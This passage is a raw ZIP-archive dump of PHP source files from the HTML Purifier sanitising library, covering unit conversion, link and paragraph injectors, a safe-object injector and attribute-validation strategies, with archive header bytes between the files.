if (!empty($def->content_model)) {
$this->content_model =
str_replace("#SUPER", $this->content_model, $def->content_model);
$this->child = false;
}
if (!empty($def->content_model_type)) {
$this->content_model_type = $def->content_model_type;
$this->child = false;
}
if (!is_null($def->child)) {
$this->child = $def->child;
}
if (!is_null($def->formatting)) {
$this->formatting = $def->formatting;
}
if ($def->descendants_are_inline) {
$this->descendants_are_inline = $def->descendants_are_inline;
}
}
/**
* Merges one array into another, removes values which equal false
* @param $a1 Array by reference that is merged into
* @param $a2 Array that merges into $a1
*/
private function _mergeAssocArray(&$a1, $a2)
{
foreach ($a2 as $k => $v) {
if ($v === false) {
if (isset($a1[$k])) {
unset($a1[$k]);
}
continue;
}
$a1[$k] = $v;
}
}
}
// vim: et sw=4 sts=4
PK j�$Z���' �' 3 htmlpurifier/library/HTMLPurifier/UnitConverter.phpnu �[��� <?php
/**
* Class for converting between different unit-lengths as specified by
* CSS.
*/
class HTMLPurifier_UnitConverter
{
const ENGLISH = 1;
const METRIC = 2;
const DIGITAL = 3;
/**
* Units information array. Units are grouped into measuring systems
* (English, Metric), and are assigned an integer representing
* the conversion factor between that unit and the smallest unit in
* the system. Numeric indexes are actually magical constants that
* encode conversion data from one system to the next, with a O(n^2)
* constraint on memory (this is generally not a problem, since
* the number of measuring systems is small.)
*/
protected static $units = array(
self::ENGLISH => array(
'px' => 3, // This is as per CSS 2.1 and Firefox. Your mileage may vary
'pt' => 4,
'pc' => 48,
'in' => 288,
self::METRIC => array('pt', '0.352777778', 'mm'),
),
self::METRIC => array(
'mm' => 1,
'cm' => 10,
self::ENGLISH => array('mm', '2.83464567', 'pt'),
),
);
/**
* Minimum bcmath precision for output.
* @type int
*/
protected $outputPrecision;
/**
* Bcmath precision for internal calculations.
* @type int
*/
protected $internalPrecision;
/**
* Whether or not BCMath is available.
* @type bool
*/
private $bcmath;
public function __construct($output_precision = 4, $internal_precision = 10, $force_no_bcmath = false)
{
$this->outputPrecision = $output_precision;
$this->internalPrecision = $internal_precision;
$this->bcmath = !$force_no_bcmath && function_exists('bcmul');
}
/**
* Converts a length object of one unit into another unit.
* @param HTMLPurifier_Length $length
* Instance of HTMLPurifier_Length to convert. You must validate()
* it before passing it here!
* @param string $to_unit
* Unit to convert to.
* @return HTMLPurifier_Length|bool
* @note
* About precision: This conversion function pays very special
* attention to the incoming precision of values and attempts
* to maintain a number of significant figure. Results are
* fairly accurate up to nine digits. Some caveats:
* - If a number is zero-padded as a result of this significant
* figure tracking, the zeroes will be eliminated.
* - If a number contains less than four sigfigs ($outputPrecision)
* and this causes some decimals to be excluded, those
* decimals will be added on.
*/
public function convert($length, $to_unit)
{
if (!$length->isValid()) {
return false;
}
$n = $length->getN();
$unit = $length->getUnit();
if ($n === '0' || $unit === false) {
return new HTMLPurifier_Length('0', false);
}
$state = $dest_state = false;
foreach (self::$units as $k => $x) {
if (isset($x[$unit])) {
$state = $k;
}
if (isset($x[$to_unit])) {
$dest_state = $k;
}
}
if (!$state || !$dest_state) {
return false;
}
// Some calculations about the initial precision of the number;
// this will be useful when we need to do final rounding.
$sigfigs = $this->getSigFigs($n);
if ($sigfigs < $this->outputPrecision) {
$sigfigs = $this->outputPrecision;
}
// BCMath's internal precision deals only with decimals. Use
// our default if the initial number has no decimals, or increase
// it by how ever many decimals, thus, the number of guard digits
// will always be greater than or equal to internalPrecision.
$log = (int)floor(log(abs($n), 10));
$cp = ($log < 0) ? $this->internalPrecision - $log : $this->internalPrecision; // internal precision
for ($i = 0; $i < 2; $i++) {
// Determine what unit IN THIS SYSTEM we need to convert to
if ($dest_state === $state) {
// Simple conversion
$dest_unit = $to_unit;
} else {
// Convert to the smallest unit, pending a system shift
$dest_unit = self::$units[$state][$dest_state][0];
}
// Do the conversion if necessary
if ($dest_unit !== $unit) {
$factor = $this->div(self::$units[$state][$unit], self::$units[$state][$dest_unit], $cp);
$n = $this->mul($n, $factor, $cp);
$unit = $dest_unit;
}
// Output was zero, so bail out early. Shouldn't ever happen.
if ($n === '') {
$n = '0';
$unit = $to_unit;
break;
}
// It was a simple conversion, so bail out
if ($dest_state === $state) {
break;
}
if ($i !== 0) {
// Conversion failed! Apparently, the system we forwarded
// to didn't have this unit. This should never happen!
return false;
}
// Pre-condition: $i == 0
// Perform conversion to next system of units
$n = $this->mul($n, self::$units[$state][$dest_state][1], $cp);
$unit = self::$units[$state][$dest_state][2];
$state = $dest_state;
// One more loop around to convert the unit in the new system.
}
// Post-condition: $unit == $to_unit
if ($unit !== $to_unit) {
return false;
}
// Useful for debugging:
//echo "<pre>n";
//echo "$n\nsigfigs = $sigfigs\nnew_log = $new_log\nlog = $log\nrp = $rp\n</pre>\n";
$n = $this->round($n, $sigfigs);
if (strpos($n, '.') !== false) {
$n = rtrim($n, '0');
}
$n = rtrim($n, '.');
return new HTMLPurifier_Length($n, $unit);
}
/**
* Returns the number of significant figures in a string number.
* @param string $n Decimal number
* @return int number of sigfigs
*/
public function getSigFigs($n)
{
$n = ltrim($n, '0+-');
$dp = strpos($n, '.'); // decimal position
if ($dp === false) {
$sigfigs = strlen(rtrim($n, '0'));
} else {
$sigfigs = strlen(ltrim($n, '0.')); // eliminate extra decimal character
if ($dp !== 0) {
$sigfigs--;
}
}
return $sigfigs;
}
/**
* Adds two numbers, using arbitrary precision when available.
* @param string $s1
* @param string $s2
* @param int $scale
* @return string
*/
private function add($s1, $s2, $scale)
{
if ($this->bcmath) {
return bcadd($s1, $s2, $scale);
} else {
return $this->scale((float)$s1 + (float)$s2, $scale);
}
}
/**
* Multiples two numbers, using arbitrary precision when available.
* @param string $s1
* @param string $s2
* @param int $scale
* @return string
*/
private function mul($s1, $s2, $scale)
{
if ($this->bcmath) {
return bcmul($s1, $s2, $scale);
} else {
return $this->scale((float)$s1 * (float)$s2, $scale);
}
}
/**
* Divides two numbers, using arbitrary precision when available.
* @param string $s1
* @param string $s2
* @param int $scale
* @return string
*/
private function div($s1, $s2, $scale)
{
if ($this->bcmath) {
return bcdiv($s1, $s2, $scale);
} else {
return $this->scale((float)$s1 / (float)$s2, $scale);
}
}
/**
* Rounds a number according to the number of sigfigs it should have,
* using arbitrary precision when available.
* @param float $n
* @param int $sigfigs
* @return string
*/
private function round($n, $sigfigs)
{
$new_log = (int)floor(log(abs($n), 10)); // Number of digits left of decimal - 1
$rp = $sigfigs - $new_log - 1; // Number of decimal places needed
$neg = $n < 0 ? '-' : ''; // Negative sign
if ($this->bcmath) {
if ($rp >= 0) {
$n = bcadd($n, $neg . '0.' . str_repeat('0', $rp) . '5', $rp + 1);
$n = bcdiv($n, '1', $rp);
} else {
// This algorithm partially depends on the standardized
// form of numbers that comes out of bcmath.
$n = bcadd($n, $neg . '5' . str_repeat('0', $new_log - $sigfigs), 0);
$n = substr($n, 0, $sigfigs + strlen($neg)) . str_repeat('0', $new_log - $sigfigs + 1);
}
return $n;
} else {
return $this->scale(round($n, $sigfigs - $new_log - 1), $rp + 1);
}
}
/**
* Scales a float to $scale digits right of decimal point, like BCMath.
* @param float $r
* @param int $scale
* @return string
*/
private function scale($r, $scale)
{
if ($scale < 0) {
// The f sprintf type doesn't support negative numbers, so we
// need to cludge things manually. First get the string.
$r = sprintf('%.0f', (float)$r);
// Due to floating point precision loss, $r will more than likely
// look something like 4652999999999.9234. We grab one more digit
// than we need to precise from $r and then use that to round
// appropriately.
$precise = (string)round(substr($r, 0, strlen($r) + $scale), -1);
// Now we return it, truncating the zero that was rounded off.
return substr($precise, 0, -1) . str_repeat('0', -$scale + 1);
}
return sprintf('%.' . $scale . 'f', (float)$r);
}
}
// vim: et sw=4 sts=4
PK j�$Z ��[ [ = htmlpurifier/library/HTMLPurifier/Injector/DisplayLinkURI.phpnu �[��� <?php
/**
* Injector that displays the URL of an anchor instead of linking to it, in addition to showing the text of the link.
*/
class HTMLPurifier_Injector_DisplayLinkURI extends HTMLPurifier_Injector
{
/**
* @type string
*/
public $name = 'DisplayLinkURI';
/**
* @type array
*/
public $needed = array('a');
/**
* @param $token
*/
public function handleElement(&$token)
{
}
/**
* @param HTMLPurifier_Token $token
*/
public function handleEnd(&$token)
{
if (isset($token->start->attr['href'])) {
$url = $token->start->attr['href'];
unset($token->start->attr['href']);
$token = array($token, new HTMLPurifier_Token_Text(" ($url)"));
} else {
// nothing to display
}
}
}
// vim: et sw=4 sts=4
PK j�$Z�
�
�
: htmlpurifier/library/HTMLPurifier/Injector/RemoveEmpty.phpnu �[��� <?php
class HTMLPurifier_Injector_RemoveEmpty extends HTMLPurifier_Injector
{
/**
* @type HTMLPurifier_Context
*/
private $context;
/**
* @type HTMLPurifier_Config
*/
private $config;
/**
* @type HTMLPurifier_AttrValidator
*/
private $attrValidator;
/**
* @type bool
*/
private $removeNbsp;
/**
* @type bool
*/
private $removeNbspExceptions;
/**
* Cached contents of %AutoFormat.RemoveEmpty.Predicate
* @type array
*/
private $exclude;
/**
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return void
*/
public function prepare($config, $context)
{
parent::prepare($config, $context);
$this->config = $config;
$this->context = $context;
$this->removeNbsp = $config->get('AutoFormat.RemoveEmpty.RemoveNbsp');
$this->removeNbspExceptions = $config->get('AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions');
$this->exclude = $config->get('AutoFormat.RemoveEmpty.Predicate');
foreach ($this->exclude as $key => $attrs) {
if (!is_array($attrs)) {
// HACK, see HTMLPurifier/Printer/ConfigForm.php
$this->exclude[$key] = explode(';', $attrs);
}
}
$this->attrValidator = new HTMLPurifier_AttrValidator();
}
/**
* @param HTMLPurifier_Token $token
*/
public function handleElement(&$token)
{
if (!$token instanceof HTMLPurifier_Token_Start) {
return;
}
$next = false;
$deleted = 1; // the current tag
for ($i = count($this->inputZipper->back) - 1; $i >= 0; $i--, $deleted++) {
$next = $this->inputZipper->back[$i];
if ($next instanceof HTMLPurifier_Token_Text) {
if ($next->is_whitespace) {
continue;
}
if ($this->removeNbsp && !isset($this->removeNbspExceptions[$token->name])) {
$plain = str_replace("\xC2\xA0", "", $next->data);
$isWsOrNbsp = $plain === '' || ctype_space($plain);
if ($isWsOrNbsp) {
continue;
}
}
}
break;
}
if (!$next || ($next instanceof HTMLPurifier_Token_End && $next->name == $token->name)) {
$this->attrValidator->validateToken($token, $this->config, $this->context);
$token->armor['ValidateAttributes'] = true;
if (isset($this->exclude[$token->name])) {
$r = true;
foreach ($this->exclude[$token->name] as $elem) {
if (!isset($token->attr[$elem])) $r = false;
}
if ($r) return;
}
if (isset($token->attr['id']) || isset($token->attr['name'])) {
return;
}
$token = $deleted + 1;
for ($b = 0, $c = count($this->inputZipper->front); $b < $c; $b++) {
$prev = $this->inputZipper->front[$b];
if ($prev instanceof HTMLPurifier_Token_Text && $prev->is_whitespace) {
continue;
}
break;
}
// This is safe because we removed the token that triggered this.
$this->rewindOffset($b+$deleted);
return;
}
}
}
// vim: et sw=4 sts=4
PK j�$Z6�� � 6 htmlpurifier/library/HTMLPurifier/Injector/Linkify.phpnu �[��� <?php
/**
* Injector that converts http, https and ftp text URLs to actual links.
*/
class HTMLPurifier_Injector_Linkify extends HTMLPurifier_Injector
{
/**
* @type string
*/
public $name = 'Linkify';
/**
* @type array
*/
public $needed = array('a' => array('href'));
/**
* @param HTMLPurifier_Token $token
*/
public function handleText(&$token)
{
if (!$this->allowsElement('a')) {
return;
}
if (strpos($token->data, '://') === false) {
// our really quick heuristic failed, abort
// this may not work so well if we want to match things like
// "google.com", but then again, most people don't
return;
}
// there is/are URL(s). Let's split the string.
// We use this regex:
// https://gist.github.com/gruber/249502
// but with @cscott's backtracking fix and also
// the Unicode characters un-Unicodified.
$bits = preg_split(
'/\\b((?:[a-z][\\w\\-]+:(?:\\/{1,3}|[a-z0-9%])|www\\d{0,3}[.]|[a-z0-9.\\-]+[.][a-z]{2,4}\\/)(?:[^\\s()<>]|\\((?:[^\\s()<>]|(?:\\([^\\s()<>]+\\)))*\\))+(?:\\((?:[^\\s()<>]|(?:\\([^\\s()<>]+\\)))*\\)|[^\\s`!()\\[\\]{};:\'".,<>?\x{00ab}\x{00bb}\x{201c}\x{201d}\x{2018}\x{2019}]))/iu',
$token->data, -1, PREG_SPLIT_DELIM_CAPTURE);
$token = array();
// $i = index
// $c = count
// $l = is link
for ($i = 0, $c = count($bits), $l = false; $i < $c; $i++, $l = !$l) {
if (!$l) {
if ($bits[$i] === '') {
continue;
}
$token[] = new HTMLPurifier_Token_Text($bits[$i]);
} else {
$token[] = new HTMLPurifier_Token_Start('a', array('href' => $bits[$i]));
$token[] = new HTMLPurifier_Token_Text($bits[$i]);
$token[] = new HTMLPurifier_Token_End('a');
}
}
}
}
// vim: et sw=4 sts=4
PK j�$Zq� � > htmlpurifier/library/HTMLPurifier/Injector/PurifierLinkify.phpnu �[��� <?php
/**
* Injector that converts configuration directive syntax %Namespace.Directive
* to links
*/
class HTMLPurifier_Injector_PurifierLinkify extends HTMLPurifier_Injector
{
/**
* @type string
*/
public $name = 'PurifierLinkify';
/**
* @type string
*/
public $docURL;
/**
* @type array
*/
public $needed = array('a' => array('href'));
/**
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return string
*/
public function prepare($config, $context)
{
$this->docURL = $config->get('AutoFormat.PurifierLinkify.DocURL');
return parent::prepare($config, $context);
}
/**
* @param HTMLPurifier_Token $token
*/
public function handleText(&$token)
{
if (!$this->allowsElement('a')) {
return;
}
if (strpos($token->data, '%') === false) {
return;
}
$bits = preg_split('#%([a-z0-9]+\.[a-z0-9]+)#Si', $token->data, -1, PREG_SPLIT_DELIM_CAPTURE);
$token = array();
// $i = index
// $c = count
// $l = is link
for ($i = 0, $c = count($bits), $l = false; $i < $c; $i++, $l = !$l) {
if (!$l) {
if ($bits[$i] === '') {
continue;
}
$token[] = new HTMLPurifier_Token_Text($bits[$i]);
} else {
$token[] = new HTMLPurifier_Token_Start(
'a',
array('href' => str_replace('%s', $bits[$i], $this->docURL))
);
$token[] = new HTMLPurifier_Token_Text('%' . $bits[$i]);
$token[] = new HTMLPurifier_Token_End('a');
}
}
}
}
// vim: et sw=4 sts=4
PK j�$Z0����5 �5 < htmlpurifier/library/HTMLPurifier/Injector/AutoParagraph.phpnu �[��� <?php
/**
* Injector that auto paragraphs text in the root node based on
* double-spacing.
* @todo Ensure all states are unit tested, including variations as well.
* @todo Make a graph of the flow control for this Injector.
*/
class HTMLPurifier_Injector_AutoParagraph extends HTMLPurifier_Injector
{
/**
* @type string
*/
public $name = 'AutoParagraph';
/**
* @type array
*/
public $needed = array('p');
/**
* @return HTMLPurifier_Token_Start
*/
private function _pStart()
{
$par = new HTMLPurifier_Token_Start('p');
$par->armor['MakeWellFormed_TagClosedError'] = true;
return $par;
}
/**
* @param HTMLPurifier_Token_Text $token
*/
public function handleText(&$token)
{
$text = $token->data;
// Does the current parent allow <p> tags?
if ($this->allowsElement('p')) {
if (empty($this->currentNesting) || strpos($text, "\n\n") !== false) {
// Note that we have differing behavior when dealing with text
// in the anonymous root node, or a node inside the document.
// If the text as a double-newline, the treatment is the same;
// if it doesn't, see the next if-block if you're in the document.
$i = $nesting = null;
if (!$this->forwardUntilEndToken($i, $current, $nesting) && $token->is_whitespace) {
// State 1.1: ... ^ (whitespace, then document end)
// ----
// This is a degenerate case
} else {
if (!$token->is_whitespace || $this->_isInline($current)) {
// State 1.2: PAR1
// ----
// State 1.3: PAR1\n\nPAR2
// ------------
// State 1.4: <div>PAR1\n\nPAR2 (see State 2)
// ------------
$token = array($this->_pStart());
$this->_splitText($text, $token);
} else {
// State 1.5: \n<hr />
// --
}
}
} else {
// State 2: <div>PAR1... (similar to 1.4)
// ----
// We're in an element that allows paragraph tags, but we're not
// sure if we're going to need them.
if ($this->_pLookAhead()) {
// State 2.1: <div>PAR1<b>PAR1\n\nPAR2
// ----
// Note: This will always be the first child, since any
// previous inline element would have triggered this very
// same routine, and found the double newline. One possible
// exception would be a comment.
$token = array($this->_pStart(), $token);
} else {
// State 2.2.1: <div>PAR1<div>
// ----
// State 2.2.2: <div>PAR1<b>PAR1</b></div>
// ----
}
}
// Is the current parent a <p> tag?
} elseif (!empty($this->currentNesting) &&
$this->currentNesting[count($this->currentNesting) - 1]->name == 'p') {
// State 3.1: ...<p>PAR1
// ----
// State 3.2: ...<p>PAR1\n\nPAR2
// ------------
$token = array();
$this->_splitText($text, $token);
// Abort!
} else {
// State 4.1: ...<b>PAR1
// ----
// State 4.2: ...<b>PAR1\n\nPAR2
// ------------
}
}
/**
* @param HTMLPurifier_Token $token
*/
public function handleElement(&$token)
{
// We don't have to check if we're already in a <p> tag for block
// tokens, because the tag would have been autoclosed by MakeWellFormed.
if ($this->allowsElement('p')) {
if (!empty($this->currentNesting)) {
if ($this->_isInline($token)) {
// State 1: <div>...<b>
// ---
// Check if this token is adjacent to the parent token
// (seek backwards until token isn't whitespace)
$i = null;
$this->backward($i, $prev);
if (!$prev instanceof HTMLPurifier_Token_Start) {
// Token wasn't adjacent
if ($prev instanceof HTMLPurifier_Token_Text &&
substr($prev->data, -2) === "\n\n"
) {
// State 1.1.4: <div><p>PAR1</p>\n\n<b>
// ---
// Quite frankly, this should be handled by splitText
$token = array($this->_pStart(), $token);
} else {
// State 1.1.1: <div><p>PAR1</p><b>
// ---
// State 1.1.2: <div><br /><b>
// ---
// State 1.1.3: <div>PAR<b>
// ---
}
} else {
// State 1.2.1: <div><b>
// ---
// Lookahead to see if <p> is needed.
if ($this->_pLookAhead()) {
// State 1.3.1: <div><b>PAR1\n\nPAR2
// ---
$token = array($this->_pStart(), $token);
} else {
// State 1.3.2: <div><b>PAR1</b></div>
// ---
// State 1.3.3: <div><b>PAR1</b><div></div>\n\n</div>
// ---
}
}
} else {
// State 2.3: ...<div>
// -----
}
} else {
if ($this->_isInline($token)) {
// State 3.1: <b>
// ---
// This is where the {p} tag is inserted, not reflected in
// inputTokens yet, however.
$token = array($this->_pStart(), $token);
} else {
// State 3.2: <div>
// -----
}
$i = null;
if ($this->backward($i, $prev)) {
if (!$prev instanceof HTMLPurifier_Token_Text) {
// State 3.1.1: ...</p>{p}<b>
// ---
// State 3.2.1: ...</p><div>
// -----
if (!is_array($token)) {
$token = array($token);
}
array_unshift($token, new HTMLPurifier_Token_Text("\n\n"));
} else {
// State 3.1.2: ...</p>\n\n{p}<b>
// ---
// State 3.2.2: ...</p>\n\n<div>
// -----
// Note: PAR<ELEM> cannot occur because PAR would have been
// wrapped in <p> tags.
}
}
}
} else {
// State 2.2: <ul><li>
// ----
// State 2.4: <p><b>
// ---
}
}
/**
* Splits up a text in paragraph tokens and appends them
* to the result stream that will replace the original
* @param string $data String text data that will be processed
* into paragraphs
* @param HTMLPurifier_Token[] $result Reference to array of tokens that the
* tags will be appended onto
*/
private function _splitText($data, &$result)
{
$raw_paragraphs = explode("\n\n", $data);
$paragraphs = array(); // without empty paragraphs
$needs_start = false;
$needs_end = false;
$c = count($raw_paragraphs);
if ($c == 1) {
// There were no double-newlines, abort quickly. In theory this
// should never happen.
$result[] = new HTMLPurifier_Token_Text($data);
return;
}
for ($i = 0; $i < $c; $i++) {
$par = $raw_paragraphs[$i];
if (trim($par) !== '') {
$paragraphs[] = $par;
} else {
if ($i == 0) {
// Double newline at the front
if (empty($result)) {
// The empty result indicates that the AutoParagraph
// injector did not add any start paragraph tokens.
// This means that we have been in a paragraph for
// a while, and the newline means we should start a new one.
$result[] = new HTMLPurifier_Token_End('p');
$result[] = new HTMLPurifier_Token_Text("\n\n");
// However, the start token should only be added if
// there is more processing to be done (i.e. there are
// real paragraphs in here). If there are none, the
// next start paragraph tag will be handled by the
// next call to the injector
$needs_start = true;
} else {
// We just started a new paragraph!
// Reinstate a double-newline for presentation's sake, since
// it was in the source code.
array_unshift($result, new HTMLPurifier_Token_Text("\n\n"));
}
} elseif ($i + 1 == $c) {
// Double newline at the end
// There should be a trailing </p> when we're finally done.
$needs_end = true;
}
}
}
// Check if this was just a giant blob of whitespace. Move this earlier,
// perhaps?
if (empty($paragraphs)) {
return;
}
// Add the start tag indicated by \n\n at the beginning of $data
if ($needs_start) {
$result[] = $this->_pStart();
}
// Append the paragraphs onto the result
foreach ($paragraphs as $par) {
$result[] = new HTMLPurifier_Token_Text($par);
$result[] = new HTMLPurifier_Token_End('p');
$result[] = new HTMLPurifier_Token_Text("\n\n");
$result[] = $this->_pStart();
}
// Remove trailing start token; Injector will handle this later if
// it was indeed needed. This prevents from needing to do a lookahead,
// at the cost of a lookbehind later.
array_pop($result);
// If there is no need for an end tag, remove all of it and let
// MakeWellFormed close it later.
if (!$needs_end) {
array_pop($result); // removes \n\n
array_pop($result); // removes </p>
}
}
/**
* Returns true if passed token is inline (and, ergo, allowed in
* paragraph tags)
* @param HTMLPurifier_Token $token
* @return bool
*/
private function _isInline($token)
{
return isset($this->htmlDefinition->info['p']->child->elements[$token->name]);
}
/**
* Looks ahead in the token list and determines whether or not we need
* to insert a <p> tag.
* @return bool
*/
private function _pLookAhead()
{
if ($this->currentToken instanceof HTMLPurifier_Token_Start) {
$nesting = 1;
} else {
$nesting = 0;
}
$ok = false;
$i = null;
while ($this->forwardUntilEndToken($i, $current, $nesting)) {
$result = $this->_checkNeedsP($current);
if ($result !== null) {
$ok = $result;
break;
}
}
return $ok;
}
/**
* Determines if a particular token requires an earlier inline token
* to get a paragraph. This should be used with _forwardUntilEndToken
* @param HTMLPurifier_Token $current
* @return bool
*/
private function _checkNeedsP($current)
{
if ($current instanceof HTMLPurifier_Token_Start) {
if (!$this->_isInline($current)) {
// <div>PAR1<div>
// ----
// Terminate early, since we hit a block element
return false;
}
} elseif ($current instanceof HTMLPurifier_Token_Text) {
if (strpos($current->data, "\n\n") !== false) {
// <div>PAR1<b>PAR1\n\nPAR2
// ----
return true;
} else {
// <div>PAR1<b>PAR1...
// ----
}
}
return null;
}
}
// vim: et sw=4 sts=4
PK j�$Z��<+� � K htmlpurifier/library/HTMLPurifier/Injector/RemoveSpansWithoutAttributes.phpnu �[��� <?php
/**
* Injector that removes spans with no attributes
*/
class HTMLPurifier_Injector_RemoveSpansWithoutAttributes extends HTMLPurifier_Injector
{
/**
* @type string
*/
public $name = 'RemoveSpansWithoutAttributes';
/**
* @type array
*/
public $needed = array('span');
/**
* @type HTMLPurifier_AttrValidator
*/
private $attrValidator;
/**
* Used by AttrValidator.
* @type HTMLPurifier_Config
*/
private $config;
/**
* @type HTMLPurifier_Context
*/
private $context;
public function prepare($config, $context)
{
$this->attrValidator = new HTMLPurifier_AttrValidator();
$this->config = $config;
$this->context = $context;
return parent::prepare($config, $context);
}
/**
* @param HTMLPurifier_Token $token
*/
public function handleElement(&$token)
{
if ($token->name !== 'span' || !$token instanceof HTMLPurifier_Token_Start) {
return;
}
// We need to validate the attributes now since this doesn't normally
// happen until after MakeWellFormed. If all the attributes are removed
// the span needs to be removed too.
$this->attrValidator->validateToken($token, $this->config, $this->context);
$token->armor['ValidateAttributes'] = true;
if (!empty($token->attr)) {
return;
}
$nesting = 0;
while ($this->forwardUntilEndToken($i, $current, $nesting)) {
}
if ($current instanceof HTMLPurifier_Token_End && $current->name === 'span') {
// Mark closing span tag for deletion
$current->markForDeletion = true;
// Delete open span tag
$token = false;
}
}
/**
* @param HTMLPurifier_Token $token
*/
public function handleEnd(&$token)
{
if ($token->markForDeletion) {
$token = false;
}
}
}
// vim: et sw=4 sts=4
PK j�$Z%5>�o o 9 htmlpurifier/library/HTMLPurifier/Injector/SafeObject.phpnu �[��� <?php
/**
* Adds important param elements to inside of object in order to make
* things safe.
*/
class HTMLPurifier_Injector_SafeObject extends HTMLPurifier_Injector
{
/**
* @type string
*/
public $name = 'SafeObject';
/**
* @type array
*/
public $needed = array('object', 'param');
/**
* @type array
*/
protected $objectStack = array();
/**
* @type array
*/
protected $paramStack = array();
/**
* Keep this synchronized with AttrTransform/SafeParam.php.
* @type array
*/
protected $addParam = array(
'allowScriptAccess' => 'never',
'allowNetworking' => 'internal',
);
/**
* These are all lower-case keys.
* @type array
*/
protected $allowedParam = array(
'wmode' => true,
'movie' => true,
'flashvars' => true,
'src' => true,
'allowfullscreen' => true, // if omitted, assume to be 'false'
);
/**
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return void
*/
public function prepare($config, $context)
{
parent::prepare($config, $context);
}
/**
* @param HTMLPurifier_Token $token
*/
public function handleElement(&$token)
{
if ($token->name == 'object') {
$this->objectStack[] = $token;
$this->paramStack[] = array();
$new = array($token);
foreach ($this->addParam as $name => $value) {
$new[] = new HTMLPurifier_Token_Empty('param', array('name' => $name, 'value' => $value));
}
$token = $new;
} elseif ($token->name == 'param') {
$nest = count($this->currentNesting) - 1;
if ($nest >= 0 && $this->currentNesting[$nest]->name === 'object') {
$i = count($this->objectStack) - 1;
if (!isset($token->attr['name'])) {
$token = false;
return;
}
$n = $token->attr['name'];
// We need this fix because YouTube doesn't supply a data
// attribute, which we need if a type is specified. This is
// *very* Flash specific.
if (!isset($this->objectStack[$i]->attr['data']) &&
($token->attr['name'] == 'movie' || $token->attr['name'] == 'src')
) {
$this->objectStack[$i]->attr['data'] = $token->attr['value'];
}
// Check if the parameter is the correct value but has not
// already been added
if (!isset($this->paramStack[$i][$n]) &&
isset($this->addParam[$n]) &&
$token->attr['name'] === $this->addParam[$n]) {
// keep token, and add to param stack
$this->paramStack[$i][$n] = true;
} elseif (isset($this->allowedParam[strtolower($n)])) {
// keep token, don't do anything to it
// (could possibly check for duplicates here)
// Note: In principle, parameters should be case sensitive.
// But it seems they are not really; so accept any case.
} else {
$token = false;
}
} else {
// not directly inside an object, DENY!
$token = false;
}
}
}
public function handleEnd(&$token)
{
// This is the WRONG way of handling the object and param stacks;
// we should be inserting them directly on the relevant object tokens
// so that the global stack handling handles it.
if ($token->name == 'object') {
array_pop($this->objectStack);
array_pop($this->paramStack);
}
}
}
// vim: et sw=4 sts=4
PK j�$Z� ;� * htmlpurifier/library/HTMLPurifier/Node.phpnu �[��� <?php
/**
* Abstract base node class that all others inherit from.
*
* Why do we not use the DOM extension? (1) It is not always available,
* (2) it has funny constraints on the data it can represent,
* whereas we want a maximally flexible representation, and (3) its
* interface is a bit cumbersome.
*/
abstract class HTMLPurifier_Node
{
/**
* Line number of the start token in the source document
* @type int
*/
public $line;
/**
* Column number of the start token in the source document. Null if unknown.
* @type int
*/
public $col;
/**
* Lookup array of processing that this token is exempt from.
* Currently, valid values are "ValidateAttributes".
* @type array
*/
public $armor = array();
/**
* When true, this node should be ignored as non-existent.
*
* Who is responsible for ignoring dead nodes? FixNesting is
* responsible for removing them before passing on to child
* validators.
*/
public $dead = false;
/**
* Returns a pair of start and end tokens, where the end token
* is null if it is not necessary. Does not include children.
* @type array
*/
abstract public function toTokenPair();
}
// vim: et sw=4 sts=4
PK j�$Z;w/�o o 3 htmlpurifier/library/HTMLPurifier/IDAccumulator.phpnu �[��� <?php
/**
* Component of HTMLPurifier_AttrContext that accumulates IDs to prevent dupes
* @note In Slashdot-speak, dupe means duplicate.
* @note The default constructor does not accept $config or $context objects:
* use must use the static build() factory method to perform initialization.
*/
class HTMLPurifier_IDAccumulator
{
/**
* Lookup table of IDs we've accumulated.
* @public
*/
public $ids = array();
/**
* Builds an IDAccumulator, also initializing the default blacklist
* @param HTMLPurifier_Config $config Instance of HTMLPurifier_Config
* @param HTMLPurifier_Context $context Instance of HTMLPurifier_Context
* @return HTMLPurifier_IDAccumulator Fully initialized HTMLPurifier_IDAccumulator
*/
public static function build($config, $context)
{
$id_accumulator = new HTMLPurifier_IDAccumulator();
$id_accumulator->load($config->get('Attr.IDBlacklist'));
return $id_accumulator;
}
/**
* Add an ID to the lookup table.
* @param string $id ID to be added.
* @return bool status, true if success, false if there's a dupe
*/
public function add($id)
{
if (isset($this->ids[$id])) {
return false;
}
return $this->ids[$id] = true;
}
/**
* Load a list of IDs into the lookup table
* @param $array_of_ids Array of IDs to load
* @note This function doesn't care about duplicates
*/
public function load($array_of_ids)
{
foreach ($array_of_ids as $id) {
$this->ids[$id] = true;
}
}
}
// vim: et sw=4 sts=4
PK j�$Z��{� � A htmlpurifier/library/HTMLPurifier/Strategy/ValidateAttributes.phpnu �[��� <?php
/**
* Validate all attributes in the tokens.
*/
class HTMLPurifier_Strategy_ValidateAttributes extends HTMLPurifier_Strategy
{
/**
* @param HTMLPurifier_Token[] $tokens
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return HTMLPurifier_Token[]
*/
public function execute($tokens, $config, $context)
{
// setup validator
$validator = new HTMLPurifier_AttrValidator();
$token = false;
$context->register('CurrentToken', $token);
foreach ($tokens as $key => $token) {
// only process tokens that have attributes,
// namely start and empty tags
if (!$token instanceof HTMLPurifier_Token_Start && !$token instanceof HTMLPurifier_Token_Empty) {
continue;
}
// skip tokens that are armored
if (!empty($token->armor['ValidateAttributes'])) {
continue;
}
// note that we have no facilities here for removing tokens
$validator->validateToken($token, $config, $context);
}
$context->destroy('CurrentToken');
return $tokens;
}
}
// vim: et sw=4 sts=4
PK j�$Z{0K_�# �# D htmlpurifier/library/HTMLPurifier/Strategy/RemoveForeignElements.phpnu �[��� <?php
/**
* Removes all unrecognized tags from the list of tokens.
*
* This strategy iterates through all the tokens and removes unrecognized
* tokens. If a token is not recognized but a TagTransform is defined for
* that element, the element will be transformed accordingly.
*/
class HTMLPurifier_Strategy_RemoveForeignElements extends HTMLPurifier_Strategy
{
/**
* @param HTMLPurifier_Token[] $tokens
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return array|HTMLPurifier_Token[]
*/
public function execute($tokens, $config, $context)
{
$definition = $config->getHTMLDefinition();
$generator = new HTMLPurifier_Generator($config, $context);
$result = array();
